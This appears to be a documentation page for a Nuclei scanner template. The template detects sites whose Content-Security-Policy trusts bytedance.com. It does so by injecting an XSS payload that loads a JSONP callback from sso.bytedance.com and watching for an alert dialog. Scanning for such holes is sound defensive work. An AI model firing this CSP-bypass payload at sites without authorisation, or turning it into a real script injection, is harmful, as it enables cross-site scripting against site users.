Skip to content

Content-Security-Policy Bypass - ByteDance SSO

ID: bytedance-sso-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,bytedance-sso

id: bytedance-sso-csp-bypass
info:
name: Content-Security-Policy Bypass - ByteDance SSO
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,bytedance-sso
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "bytedance.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: bytedance_sso_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://sso.bytedance.com/watermark/?callback=alert"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "bytedance_sso_csp_xss == true"
# digest: 4a0a0047304502204b2e7b01036a307803207cca9dff96c074f10d20d0d14c03e78dffcb97a59938022100a44721a667040c0f9b36ec0232c58f1cf10af329b606e415693f98c1f4fd845e:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/bytedance-sso-csp-bypass.yaml"

View on Github